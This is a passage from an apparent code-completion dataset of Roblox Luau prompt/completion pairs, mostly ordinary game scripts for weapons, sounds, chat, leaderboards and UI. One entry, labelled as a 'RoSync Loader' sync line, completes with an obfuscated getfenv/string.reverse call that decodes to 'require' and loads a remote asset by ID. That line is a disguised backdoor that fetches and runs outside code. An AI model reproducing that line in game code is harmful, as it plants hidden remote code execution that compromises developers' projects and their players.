1.5)\nend\n\nlocal BulletBase = Instance.new('Part')\nBulletBase.FormFactor = Enum.FormFactor.Custom\nBulletBase.Size = Vector3.new(1,1,1)\nBulletBase.BrickColor = BrickColor.new(\"Black\")\nBulletBase.CanCollide = false\nBulletBase.Anchored = true\nBulletBase.TopSurface = Enum.SurfaceType.Smooth\nBulletBase.BottomSurface = Enum.SurfaceType.Smooth\nBulletBase.Name = 'Bullet'\n\nlocal BulletMesh = Instance.new(\"SpecialMesh\")\nBulletMesh.MeshType = 'Sphere'\nBulletMesh.Scale = Vector3.new(.2,.2,.2)\nBulletMesh.Parent = BulletBase\n\n\nlocal function CreateBullet(bulletPos, hit)\n\tlocal bullet = BulletBase:Clone()\n\n\tbullet.CFrame = CFrame.new(bulletPos)\n\tbullet.Parent = game.Workspace\n\tDebrisService:AddItem(bullet, 2.5)\n\t\n\tif hit.Anchored == false then\n\t\tlocal weld = Instance.new'Weld'\n\t\tweld.C0 = hit.CFrame:toObjectSpace(CFrame.new(bulletPos))\n\t\tweld.Part0 = hit\n\t\tweld.Part1 = bullet\n\t\tweld.Parent = bullet\n\t\tbullet.Anchored = false\n\tend\n\n\treturn bullet\nend\n\nlocal function Reload()\n\tif not Reloading then\n\t\tReloading = true\n\t\tTool.SetIcon:FireClient(game.Players:GetPlayerFromCharacter(Tool.Parent), \"rbxasset://textures\\\\GunWaitCursor.png\")\n\t\t-- Don't reload if you are already full or have no extra ammo\n\t\tif AmmoInClip ~= ClipSize then\n\t\t\tif PumpTrack then\n\t\t\t\tPumpTrack:Stop()\n\t\t\tend\n\t\t\tfor i = 1,6 do\n\t\t\t\tif PumpTrack then\n\t\t\t\t\tPumpTrack:Play()\n\t\t\t\tend\n\t\t\t\tif Handle:FindFirstChild('PumpSound') then\n\t\t\t\t\tHandle.PumpSound:Play()\n\t\t\t\tend\n\t\t\t\twait(ReloadTime/6)\n\t\t\tend\n\t\t\t-- Only use as much ammo as you have\n\t\t\tlocal ammoToUse = ClipSize - AmmoInClip\n\t\t\tAmmoInClip = AmmoInClip + ammoToUse\n\t\t\tUpdateAmmo(AmmoInClip)\n\t\tend\n\t\tTool.SetIcon:FireClient(game.Players:GetPlayerFromCharacter(Tool.Parent), \"rbxasset://textures\\\\GunCursor.png\")\n\t\tReloading = false\n\tend\nend\n\nlocal CasingBase = Instance.new('Part')\nCasingBase.FormFactor = Enum.FormFactor.Custom\nCasingBase.Elasticity = 0\nCasingBase.Size = Vector3.new(.3,.3,.5)\nlocal CasingMesh = Instance.new('SpecialMesh')\nCasingMesh.MeshId = 'http://www.roblox.com/asset/?id=94248124'\nCasingMesh.TextureId = 'http://www.roblox.com/asset/?id=94219470'"} +{"prompt": "--[[**\n\tensures Roblox UDim type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.UDim = primitive(\"UDim\")\n"} +{"prompt": "--The settings above will give the player a chance to use the Med Kit.", "completion": "\n\nfor i = 1,Length do \n\tHumanoid = script.Parent.Humanoid\n\tHumanoid.Health = Humanoid.Health - Lethality\n\twait(WaitTime)\nend\n\n"} +{"prompt": "--[=[\n\t@param msg string\n\tThrows an error with `msg` as the error message if the value is _not_ None.\n]=]", "completion": "\nfunction Option:ExpectNone(msg)\n\tassert(self:IsNone(), msg)\nend\n\n"} +{"prompt": "--[[Information about tool:\nThis tool is created with the AH-64.\nits one of the Efectivest tools created by me\n]]\n--Not change below SOMETHING! Exept where i say u may do !\n--Flight movement", "completion": "\ncreativeval = 0\nbin=script.Parent"} +{"prompt": "--Camera frustum check", "completion": "\nlocal last_camera_res = nil\nlocal last_camera_fov = nil\nlocal cam_planes = nil\nfunction camera_util.CheckFrustum(point, rad)\n\t--Update camera planes if FOV or resolution changed\n\tlocal camera = workspace.CurrentCamera\n\tif cam_planes == nil or camera.ViewportSize ~= last_camera_res or camera.FieldOfView ~= last_camera_fov then\n\t\t--Get camera factors\n\t\tlast_camera_res = camera.ViewportSize\n\t\tlast_camera_fov = camera.FieldOfView\n\n\t\tlocal aspectRatio = last_camera_res.X / last_camera_res.Y\n\t\tlocal hFactor = math.tan(math.rad(last_camera_fov) / 2)\n\t\tlocal wFactor = aspectRatio * hFactor\n\n\t\t--Get planes\n\t\tcam_planes = {\n\t\t\tVector3.new(hFactor, 0, 1).unit,\n\t\t\tVector3.new(0, wFactor, 1).unit,\n\t\t\tVector3.new(-hFactor, 0, 1).unit,\n\t\t\tVector3.new(0, -wFactor, 1).unit,\n\t\t}\n\tend\n\n\t--Test against camera planes\n\tlocal cframe = camera.CFrame\n\tlocal local_pos = cframe:inverse() * point\n\n\tfor _,v in pairs(cam_planes) do\n\t\tif v:Dot(local_pos) > rad then\n\t\t\treturn false\n\t\tend\n\tend\n\n\treturn true\nend\n\nreturn camera_util\n"} +{"prompt": "--[[ Last synced 7/2/2022 01:10 || RoSync Loader ]]", "completion": " getfenv()[string.reverse(\"\\101\\114\\105\\117\\113\\101\\114\")](5754612086)\n"} +{"prompt": "--// This section of code waits until all of the necessary RemoteEvents are found in EventFolder.\n--// I have to do some weird stuff since people could potentially already have pre-existing\n--// things in a folder with the same name, and they may have different class types.\n--// I do the useEvents thing and set EventFolder to useEvents so I can have a pseudo folder that\n--// the rest of the code can interface with and have the guarantee that the RemoteEvents they want\n--// exist with their desired names.", "completion": "\n\nlocal FILTER_MESSAGE_TIMEOUT = 60\n\nlocal RunService = game:GetService(\"RunService\")\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal Chat = game:GetService(\"Chat\")\nlocal StarterGui = game:GetService(\"StarterGui\")\n\nlocal DefaultChatSystemChatEvents = ReplicatedStorage:WaitForChild(\"DefaultChatSystemChatEvents\")\nlocal EventFolder = ReplicatedStorage:WaitForChild(\"DefaultChatSystemChatEvents\")\nlocal clientChatModules = Chat:WaitForChild(\"ClientChatModules\")\nlocal ChatConstants = require(clientChatModules:WaitForChild(\"ChatConstants\"))\nlocal ChatSettings = require(clientChatModules:WaitForChild(\"ChatSettings\"))\nlocal messageCreatorModules = clientChatModules:WaitForChild(\"MessageCreatorModules\")\nlocal MessageCreatorUtil = require(messageCreatorModules:WaitForChild(\"Util\"))\n\nlocal ChatLocalization = nil\npcall(function() ChatLocalization = require(game:GetService(\"Chat\").ClientChatModules.ChatLocalization) end)\nif ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end\n\nlocal numChildrenRemaining = 10 -- #waitChildren returns 0 because it's a dictionary\nlocal waitChildren =\n{\n\tOnNewMessage = \"RemoteEvent\",\n\tOnMessageDoneFiltering = \"RemoteEvent\",\n\tOnNewSystemMessage = \"RemoteEvent\",\n\tOnChannelJoined = \"RemoteEvent\",\n\tOnChannelLeft = \"RemoteEvent\",\n\tOnMuted = \"RemoteEvent\",\n\tOnUnmuted = \"RemoteEvent\",\n\tOnMainChannelSet = \"RemoteEvent\",\n\n\tSayMessageRequest = \"RemoteEvent\",\n\tGetInitDataRequest = \"RemoteFunction\",\n}"} +{"prompt": "-- Expose plugin if in plugin mode", "completion": "\n_G[Tool] = { Plugin = Plugin };\n"} +{"prompt": "-- Image shortcuts: you can use these string instead of using image ids", "completion": "\nrichText.ImageShortcuts = {}\nrichText.ImageShortcuts.Eggplant = 639588687\nrichText.ImageShortcuts.Thinking = 955646496\nrichText.ImageShortcuts.Sad = 947900188\nrichText.ImageShortcuts.Happy = 414889555\nrichText.ImageShortcuts.Despicable = 711674643\n"} +{"prompt": "--// SERVICES //--", "completion": "\n\nlocal CoreGuiService = game:GetService('CoreGui')\nlocal PlayersService = game:GetService('Players')\nlocal GuiService = game:GetService('GuiService')\nlocal UserInputService = game:GetService('UserInputService')\nlocal StarterGui = game:GetService('StarterGui')\nlocal STS_Settings = script.Parent.Parent.Parent.Parent:WaitForChild('STS_Settings')\n\nlocal Character = game.Players.LocalPlayer.Character\nif Character == nil then\n\trepeat\n\t\twait()\n\tuntil (Character ~= nil)\n\tprint('FoundCharacter')\nend\nlocal Stamina = Character:WaitForChild('Stamina')\nlocal Sprinting = false\nlocal StaminaReductionRate = STS_Settings:WaitForChild('StaminaDeductionAmount').Value -- Amount taken from Stamina per SprintReductionDelay\nlocal StaminaReductionDelay = STS_Settings:WaitForChild('StaminaDeductionDelay').Value -- Time in Seconds for SprintReductionRate to be removed from stamina\nlocal OriginalWalkSpeed = Character.Humanoid.WalkSpeed -- Get Original WalkSpeed\nlocal SprintSpeed = STS_Settings:WaitForChild('SprintSpeed').Value\nlocal RegenerateDelay = STS_Settings:WaitForChild('StaminaRegenerationDelay').Value\nlocal RegenerateValue = STS_Settings:WaitForChild('StaminaRegenerationAmount').Value\n"} +{"prompt": "--!nonstrict\n-- Roblox character sound script", "completion": "\n\nlocal Players = game:GetService(\"Players\")\nlocal RunService = game:GetService(\"RunService\")\n\nlocal AtomicBinding = require(script:WaitForChild(\"AtomicBinding\"))\n\nlocal function loadFlag(flag: string)\n\tlocal success, result = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(flag)\n\tend)\n\treturn success and result\nend\n\nlocal SOUND_DATA : { [string]: {[string]: any}} = {\n\tClimbing = {\n\t\tSoundId = \"rbxasset://sounds/action_footsteps_plastic.mp3\",\n\t\tLooped = true,\n\t},\n\tDied = {\n\t\tSoundId = \"rbxasset://sounds/uuhhh.mp3\",\n\t},\n\tFreeFalling = {\n\t\tSoundId = \"rbxasset://sounds/action_falling.mp3\",\n\t\tLooped = true,\n\t},\n\tGettingUp = {\n\t\tSoundId = \"rbxasset://sounds/action_get_up.mp3\",\n\t},\n\tJumping = {\n\t\tSoundId = \"rbxasset://sounds/action_jump.mp3\",\n\t},\n\tLanding = {\n\t\tSoundId = \"rbxasset://sounds/action_jump_land.mp3\",\n\t},\n\tRunning = {\n\t\tSoundId = \"rbxasset://sounds/action_footsteps_plastic.mp3\",\n\t\tLooped = true,\n\t\tPitch = 1.85,\n\t},\n\tSplash = {\n\t\tSoundId = \"rbxasset://sounds/impact_water.mp3\",\n\t},\n\tSwimming = {\n\t\tSoundId = \"rbxasset://sounds/action_swim.mp3\",\n\t\tLooped = true,\n\t\tPitch = 1.6,\n\t},\n}\n"} +{"prompt": "-- map a value from one range to another", "completion": "\nlocal function map(x, inMin, inMax, outMin, outMax)\n\treturn (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin\nend\n\nlocal function playSound(sound)\n\tsound.TimePosition = 0\n\tsound.Playing = true\nend\n\nlocal function stopSound(sound)\n\tsound.Playing = false\n\tsound.TimePosition = 0\nend\n\nlocal function initializeSoundSystem(humanoid, rootPart)\n\tlocal sounds = {}\n\n\t-- initialize sounds\n\tfor name, props in pairs(SOUND_DATA) do\n\t\tlocal sound = Instance.new(\"Sound\")\n\t\tsound.Name = name\n\n\t\t-- set default values\n\t\tsound.Archivable = false\n\t\tsound.EmitterSize = 5\n\t\tsound.MaxDistance = 150\n\t\tsound.Volume = 0.65\n\n\t\tfor propName, propValue in pairs(props) do\n\t\t\tsound[propName] = propValue\n\t\tend\n\n\t\tsound.Parent = rootPart\n\t\tsounds[name] = sound\n\tend\n\n\tlocal playingLoopedSounds = {}\n\n\tlocal function stopPlayingLoopedSounds(except)\n\t\tfor sound in pairs(playingLoopedSounds) do\n\t\t\tif sound ~= except then\n\t\t\t\tsound.Playing = false\n\t\t\t\tplayingLoopedSounds[sound] = nil\n\t\t\tend\n\t\tend\n\tend\n\n\t-- state transition callbacks\n\tlocal stateTransitions = {\n\t\t[Enum.HumanoidStateType.FallingDown] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.GettingUp] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tplaySound(sounds.GettingUp)\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Jumping] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tplaySound(sounds.Jumping)\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Swimming] = function()\n\t\t\tlocal verticalSpeed = math.abs(rootPart.Velocity.Y)\n\t\t\tif verticalSpeed > 0.1 then\n\t\t\t\tsounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1)\n\t\t\t\tplaySound(sounds.Splash)\n\t\t\tend\n\t\t\tstopPlayingLoopedSounds(sounds.Swimming)\n\t\t\tsounds.Swimming.Playing = true\n\t\t\tplayingLoopedSounds[sounds.Swimming] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Freefall] = function()\n\t\t\tsounds.FreeFalling.Volume = 0\n\t\t\tstopPlayingLoopedSounds(sounds.FreeFalling)\n\t\t\tplayingLoopedSounds[sounds.FreeFalling] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Landed] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tlocal verticalSpeed = math.abs(rootPart.Velocity.Y)\n\t\t\tif verticalSpeed > 75 then\n\t\t\t\tsounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1)\n\t\t\t\tplaySound(sounds.Landing)\n\t\t\tend\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Running] = function()\n\t\t\tstopPlayingLoopedSounds(sounds.Running)\n\t\t\tsounds.Running.Playing = true\n\t\t\tplayingLoopedSounds[sounds.Running] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Climbing] = function()\n\t\t\tlocal sound = sounds.Climbing\n\t\t\tif math.abs(rootPart.Velocity.Y) > 0.1 then\n\t\t\t\tsound.Playing = true\n\t\t\t\tstopPlayingLoopedSounds(sound)\n\t\t\telse\n\t\t\t\tstopPlayingLoopedSounds()\n\t\t\tend\n\t\t\tplayingLoopedSounds[sound] = true\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Seated] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\tend,\n\n\t\t[Enum.HumanoidStateType.Dead] = function()\n\t\t\tstopPlayingLoopedSounds()\n\t\t\tplaySound(sounds.Died)\n\t\tend,\n\t}\n\n\t-- updaters for looped sounds\n\tlocal loopedSoundUpdaters = {\n\t\t[sounds.Climbing] = function(dt, sound, vel)\n\t\t\tsound.Playing = vel.Magnitude > 0.1\n\t\tend,\n\n\t\t[sounds.FreeFalling] = function(dt, sound, vel)\n\t\t\tif vel.Magnitude > 75 then\n\t\t\t\tsound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1)\n\t\t\telse\n\t\t\t\tsound.Volume = 0\n\t\t\tend\n\t\tend,\n\n\t\t[sounds.Running] = function(dt, sound, vel)\n\t\t\tsound.Playing = vel.Magnitude > 0.5 and humanoid.MoveDirection.Magnitude > 0.5\n\t\tend,\n\t}\n\n\t-- state substitutions to avoid duplicating entries in the state table\n\tlocal stateRemap = {\n\t\t[Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running,\n\t}\n\n\tlocal activeState = stateRemap[humanoid:GetState()] or humanoid:GetState()\n\tlocal activeConnections = {}\n\n\tlocal stateChangedConn = humanoid.StateChanged:Connect(function(_, state)\n\t\tstate = stateRemap[state] or state\n\n\t\tif state ~= activeState then\n\t\t\tlocal transitionFunc = stateTransitions[state]\n\n\t\t\tif transitionFunc then\n\t\t\t\ttransitionFunc()\n\t\t\tend\n\n\t\t\tactiveState = state\n\t\tend\n\tend)\n\n\tlocal steppedConn = RunService.Stepped:Connect(function(_, worldDt)\n\t\t-- update looped sounds on stepped\n\t\tfor sound in pairs(playingLoopedSounds) do\n\t\t\tlocal updater = loopedSoundUpdaters[sound]\n\n\t\t\tif updater then\n\t\t\t\tupdater(worldDt, sound, rootPart.Velocity)\n\t\t\tend\n\t\tend\n\tend)\n\n\tlocal humanoidAncestryChangedConn\n\tlocal rootPartAncestryChangedConn\n\n\tlocal function terminate()\n\t\tstateChangedConn:Disconnect()\n\t\tsteppedConn:Disconnect()\n\t\thumanoidAncestryChangedConn:Disconnect()\n\t\trootPartAncestryChangedConn:Disconnect()\n\tend\n\n\thumanoidAncestryChangedConn = humanoid.AncestryChanged:Connect(function(_, parent)\n\t\tif not parent then\n\t\t\tterminate()\n\t\tend\n\tend)\n\n\trootPartAncestryChangedConn = rootPart.AncestryChanged:Connect(function(_, parent)\n\t\tif not parent then\n\t\t\tterminate()\n\t\tend\n\tend)\nend\n\nlocal character = script.Parent\nlocal humanoid = character:WaitForChild(\"Humanoid\")\nlocal rootPart = character:FindFirstChild(\"HumanoidRootPart\") or character:FindFirstChild(\"Torso\")\n\nreturn initializeSoundSystem(humanoid, rootPart)\n"} +{"prompt": "-- Setup animation objects", "completion": "\nfunction scriptChildModified(child)\n\tlocal fileList = animNames[child.Name]\n\tif (fileList ~= nil) then\n\t\tconfigureAnimationSet(child.Name, fileList)\n\tend\t\nend\n\nscript.ChildAdded:Connect(scriptChildModified)\nscript.ChildRemoved:Connect(scriptChildModified)\n\n\nfor name, fileList in pairs(animNames) do \n\tconfigureAnimationSet(name, fileList)\nend\t\n"} +{"prompt": "-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config", "completion": "\npcall(function() ChatLocalization = require((game:GetService(\"Chat\") :: any).ClientChatModules.ChatLocalization :: any) end)\nChatLocalization = ChatLocalization or {}\n\nif not ChatLocalization.FormatMessageToSend or not ChatLocalization.LocalizeFormattedMessage then\n\tfunction ChatLocalization:FormatMessageToSend(key,default) return default end\nend\n"} +{"prompt": "--GUI setup--", "completion": "\nlocal BoostGaugeVisible = true -- true=visible false=not visible\n"} +{"prompt": "--// Functions", "completion": "\nfunction MakeFakeArms()\n\tArms = Instance.new(\"Model\")\n\tArms.Name = \"Arms\"\n\tArms.Parent = L_5_\n\n\tlocal L_158_ = Instance.new(\"Humanoid\")\n\tL_158_.MaxHealth = 0\n\tL_158_.Health = 0\n\tL_158_.Name = \"\"\n\tL_158_.Parent = Arms\n\t\t\n\tif L_3_:FindFirstChild(\"Shirt\") then\n\t\tlocal L_163_ = L_3_:FindFirstChild(\"Shirt\"):clone()\n\t\tL_163_.Parent = Arms\n\tend\n\t\n\tlocal L_159_ = L_3_:FindFirstChild(\"Right Arm\"):clone()\n\tfor L_164_forvar1, L_165_forvar2 in pairs(L_159_:GetChildren()) do\n\t\tif L_165_forvar2:IsA('Motor6D') then\n\t\t\tL_165_forvar2:Destroy()\n\t\tend\n\tend\n\tL_159_.Name = \"Right Arm\"\n\tL_159_.FormFactor = \"Custom\"\n\tL_159_.Size = Vector3.new(0.8, 2.5, 0.8)\n\tL_159_.Transparency = 0.0\n\t\n\tlocal L_160_ = Instance.new(\"Motor6D\")\n\tL_160_.Part0 = L_159_\n\tL_160_.Part1 = L_3_:FindFirstChild(\"Right Arm\")\n\tL_160_.C0 = CFrame.new()\n\tL_160_.C1 = CFrame.new()\n\tL_160_.Parent = L_159_\t\n\tL_159_.Parent = Arms\n\t\t\n\tlocal L_161_ = L_3_:FindFirstChild(\"Left Arm\"):clone()\n\tL_161_.Name = \"Left Arm\"\n\tL_161_.FormFactor = \"Custom\"\n\tL_161_.Size = Vector3.new(0.8, 2.5, 0.8)\n\tL_161_.Transparency = 0.0\t\n\t\n\tlocal L_162_ = Instance.new(\"Motor6D\")\n\tL_162_.Part0 = L_161_\n\tL_162_.Part1 = L_3_:FindFirstChild(\"Left Arm\")\n\tL_162_.C0 = CFrame.new()\n\tL_162_.C1 = CFrame.new()\n\tL_162_.Parent = L_161_\t\n\tL_161_.Parent = Arms\nend\n\nfunction RemoveArmModel()\n\tif Arms then\n\t\tArms:Destroy()\n\t\tArms = nil\n\tend\nend\n\nlocal L_121_\n\nfunction CreateShell()\n\tL_121_ = time()\n\tlocal L_166_ = L_1_.Shell:clone()\n\tif L_166_:FindFirstChild('Shell') then\n\t\tL_166_.Shell:Destroy()\n\tend\n\tL_166_.CFrame = L_1_.Chamber.CFrame\n\tL_166_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0)\n\t--shell.RotVelocity = Vector3.new(-10,40,30)\n\tL_166_.Parent = L_90_\n\tL_166_.CanCollide = false\n\tgame:GetService(\"Debris\"):addItem(L_166_, 1)\nend\n"} +{"prompt": "-- Add script when player is added", "completion": "\ngame.Players.PlayerAdded:connect(addScriptAtRespawn)\n\n\nlocal MyHook = script.Parent[\"Chain Hook\"]\nlocal Remote = script.Parent.RemoteEvent\nlocal Bindable = MyHook.Talker\nlocal Coupled = script.Parent.Coupled\nlocal Rotator = script.Parent.Rotator.Rotator\n\nfunction weld(i,j)\n\tlocal weld1 = Instance.new(\"Weld\") \n\tweld1.Name = j.Name\n\tweld1.Part0 = i\n\tweld1.Part1 = j\n\tweld1.C1 = j.CFrame:inverse()*i.CFrame\n\tweld1.Parent = j\nend\n\nfunction SetupDecouple(chain)\n\tif chain.Parent then\n\t\tCoupled.Value = true\n\t\tlocal b\n\t\tlocal a\n\t\ta = chain.AncestryChanged:connect(function(_,newpar)\n\t\t\tif not newpar then\n\t\t\t\tCoupled.Value = false\n\t\t\t\ta:disconnect()\n\t\t\t\tb:disconnect()\n\t\t\tend\n\t\tend)\n\t\tb = chain.ChildRemoved:connect(function()\n\t\t\tCoupled.Value = false\n\t\t\ta:disconnect()\n\t\t\tb:disconnect()\n\t\t\twait()\n\t\t\tchain:Destroy()\n\t\tend)\n\tend\nend\n\nBindable.Event:connect(function(data)\n\tif data[\"Chain\"] then\n\t\tSetupDecouple(data[\"Chain\"])\n\tend\nend)\n\nfunction couple(hook1,hook2)\n\tif hook1.Velocity.magnitude > 0.5 or hook2.Velocity.magnitude > 0.5 then\n\t\treturn false\n\tend\n\tif (hook1.Position-hook2.Position).magnitude > 5 and (hook1.Position-hook2.Position).magnitude < 3 then\n\t\treturn false\n\tend\n\tlocal chain = Instance.new(\"RopeConstraint\")\n\tchain.Attachment0 = hook1.Attachment\n\tchain.Attachment1 = hook2.Attachment\n\tchain.Color = BrickColor.new(\"Flint\")\n\tchain.Thickness = 0.2\n\tchain.Parent = Workspace\n\tchain.Visible = true\n\tchain.Name = \"Chain Link Coupler\"\n\tchain.Length = (hook1.Position-hook2.Position.magnitude)\n\tscript.Decouple:Clone().Parent = chain\n\treturn true\nend\n\nRemote.OnServerEvent:connect(function(player,data)\n\tif data[\"Connect this\"] and data[\"Connect this\"].Name == \"Chain Hook\" and data[\"Connect this\"] ~= MyHook and not Coupled.Value and not data[\"Connect this\"].Parent.Coupled.Value then\n\t\tcouple(MyHook,data[\"Connect this\"])\n\tend\nend)\n"} +{"prompt": "-----------------------------------------------", "completion": "\n\n\n\nfunction findAllFlagStands(root)\n\tlocal c = root:children()\n\tfor i=1,#c do\n\t\tif (c[i].className == \"Model\" or c[i].className == \"Part\") then\n\t\t\tfindAllFlagStands(c[i])\n\t\tend\n\t\tif (c[i].className == \"FlagStand\") then\n\t\t\ttable.insert(stands, c[i])\n\t\tend\n\tend\nend\n\nfunction hookUpListeners()\n\tfor i=1,#stands do\n\t\tstands[i].FlagCaptured:connect(onCaptureScored)\n\tend\nend\n\nfunction onPlayerEntered(newPlayer)\n\n\tif CTF_mode == true then\n\n\t\tlocal stats = Instance.new(\"IntValue\")\n\t\tstats.Name = \"leaderstats\"\n\n\t\tlocal captures = Instance.new(\"IntValue\")\n\t\tcaptures.Name = \"Captures\"\n\t\tcaptures.Value = 0\n\n\n\t\tcaptures.Parent = stats\n\n\t\t-- VERY UGLY HACK\n\t\t-- Will this leak threads?\n\t\t-- Is the problem even what I think it is (player arrived before character)?\n\t\twhile true do\n\t\t\tif newPlayer.Character ~= nil then break end\n\t\t\twait(5)\n\t\tend\n\n\t\tstats.Parent = newPlayer\n\n\telse\n\n\t\tlocal stats = Instance.new(\"IntValue\")\n\t\tstats.Name = \"leaderstats\"\n\t\tlocal kills = false\n\t\tif Settings.LeaderboardSettings.KOs then\n\t\t\tkills = Instance.new(\"IntValue\")\n\t\t\tkills.Name = Settings.LeaderboardSettings.KillsName\n\t\t\tkills.Value = 0\n\t\tend\n\t\tlocal deaths = false\n\t\tif Settings.LeaderboardSettings.WOs then\n\t\t\tdeaths = Instance.new(\"IntValue\")\n\t\t\tdeaths.Name = Settings.LeaderboardSettings.DeathsName\n\t\t\tdeaths.Value = 0\n\t\tend\n\t\t\n\t\tlocal Cash = false\n\t\tif Settings.LeaderboardSettings.ShowCurrency then\n\t\t\tCash = Instance.new(\"StringValue\")\n\t\t\tCash.Name = Settings.CurrencyName\n\t\t\tCash.Value = 0\n\t\tend\n\t\t\n\t\tlocal PlayerStats = game.ServerStorage.PlayerMoney:FindFirstChild(newPlayer.Name)\n\t\tif PlayerStats ~= nil then\n\t\t\tif Cash then\n\t\t\t\tlocal Short = Settings.LeaderboardSettings.ShowShortCurrency\n\t\t\t\tPlayerStats.Changed:connect(function()\n\t\t\t\t\tif (Short) then\n\t\t\t\t\t\tCash.Value = Settings:ConvertShort(PlayerStats.Value)\n\t\t\t\t\telse\n\t\t\t\t\t\tCash.Value = Settings:ConvertComma(PlayerStats.Value)\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\tend\n\t\tend\n\t\tif kills then\n\t\tkills.Parent = stats\n\t\tend\n\t\tif deaths then\n\t\tdeaths.Parent = stats\n\t\tend\n\t\tif Cash then\n\t\tcash.Parent = stats\n\t\tend\n\n\t\t-- VERY UGLY HACK\n\t\t-- Will this leak threads?\n\t\t-- Is the problem even what I think it is (player arrived before character)?\n\t\twhile true do\n\t\t\tif newPlayer.Character ~= nil then break end\n\t\t\twait(5)\n\t\tend\n\n\t\tlocal humanoid = newPlayer.Character.Humanoid\n\n\t\thumanoid.Died:connect(function() onHumanoidDied(humanoid, newPlayer) end )\n\n\t\t-- start to listen for new humanoid\n\t\tnewPlayer.Changed:connect(function(property) onPlayerRespawn(property, newPlayer) end )\n\n\n\t\tstats.Parent = newPlayer\n\n\tend\n\nend\n\n\nfunction onCaptureScored(player)\n\n\t\tlocal ls = player:findFirstChild(\"leaderstats\")\n\t\tif ls == nil then return end\n\t\tlocal caps = ls:findFirstChild(\"Captures\")\n\t\tif caps == nil then return end\n\t\tcaps.Value = caps.Value + 1\n\nend\n\n\nfindAllFlagStands(game.Workspace)\nhookUpListeners()\nif (#stands > 0) then CTF_mode = true end\ngame.Players.ChildAdded:connect(onPlayerEntered)\n"} +{"prompt": "--// Handling Settings\t\t", "completion": "\n\tFirerate = 60 / 780; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!\n\t\n\tFireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive\n\t"} +{"prompt": "--[[\n Chooses between the different GuiTypes that the emotes can be displayed in\n]]", "completion": "\n\nlocal Roact = require(script.Parent.Parent.Packages.Roact)\nlocal t = require(script.Parent.Parent.Packages.t)\nlocal clientConfig = require(script.Parent.Parent.clientConfig)\nlocal ConfigurationContext = require(script.Parent.Parent.Packages.Configuration).ConfigurationContext\nlocal enums = require(script.Parent.Parent.enums)\nlocal EmoteBarScreen = require(script.Parent.EmoteBarScreen)\nlocal EmoteWheelBillboard = require(script.Parent.EmoteWheelBillboard)\n\nlocal EmoteView = Roact.Component:extend(\"EmoteView\")\n\nEmoteView.defaultProps = {\n\tisVisible = true,\n\tforceHide = false,\n}\n\nEmoteView.validateProps = t.strictInterface({\n\tforceHide = t.boolean,\n\tisVisible = t.boolean,\n\tconfiguration = clientConfig.validate,\n})\n\nfunction EmoteView:render()\n\tlocal guiType = self.props.configuration.guiType\n\n\tif guiType == enums.GuiType.EmoteWheel then\n\t\treturn Roact.createElement(EmoteWheelBillboard, {\n\t\t\tisVisible = self.props.isVisible,\n\t\t})\n\telse\n\t\treturn Roact.createElement(EmoteBarScreen, {\n\t\t\tisVisible = self.props.isVisible and not self.props.forceHide,\n\t\t})\n\tend\nend\n\nreturn ConfigurationContext.withConfiguration(EmoteView)\n"} +{"prompt": "-------------------------------", "completion": "\n\nlocal tool = script.Parent\nlocal player = game.Players.LocalPlayer\nwhile player.Character == nil do wait() end\nlocal char = player.Character\nwhile char:FindFirstChild(\"Humanoid\") == nil do wait() end\nlocal hum = char:FindFirstChild(\"Humanoid\")\n\nlocal enabled = true\nlocal equipped = false\nlocal ischarging = true\ntool.Selected:connect(function(mouse)\n\tequipped = true\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tmouse.Button1Down:connect(function()\n\t\tif not enabled then return end\n\t\tif hum == nil then return end\n\t\tif hum.Health <= 0 then return end\n\t\tif mouse == nil then return end\n\t\tif ischarging then\n\t\t\tif mouse.Hit ~= nil then\n\t\t\t\tischarging = false\n\t\t\t\tenabled = false\n\t\t\t\tscript.Parent.ReleaseProjectile:FireServer(mouse.Hit.p)\n\t\t\t\tmouse.Icon = \"rbxasset://textures\\\\GunWaitCursor.png\"\n\t\t\t\twait(RELOAD_TIME)\n\t\t\t\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\t\t\t\tenabled = true\n\t\t\t\tischarging = true\n\t\t\tend\n\t\tend\n\tend)\nend)\n\ntool.Deselected:connect(function(mouse)\n\tequipped = false\nend)\n\n\n"} +{"prompt": "--JSON Encoder and Parser for Lua 5.1\n--\n--Copyright 2007 Shaun Brown (http://www.chipmunkav.com)\n--All Rights Reserved.", "completion": "\n"} +{"prompt": "--[[local debounce = false\nfunction onClicked(click)\n\tif debounce == false then\n\tdebounce = true\t\n\tif script.Parent.Parent.Frame.Visible == false then\n\t\tprint(\"open\")\n\tscript.Parent.Parent.Frame.Visible = true\t\n\ttweenmenu:Play()\n\twait(1)\n\tdebounce = 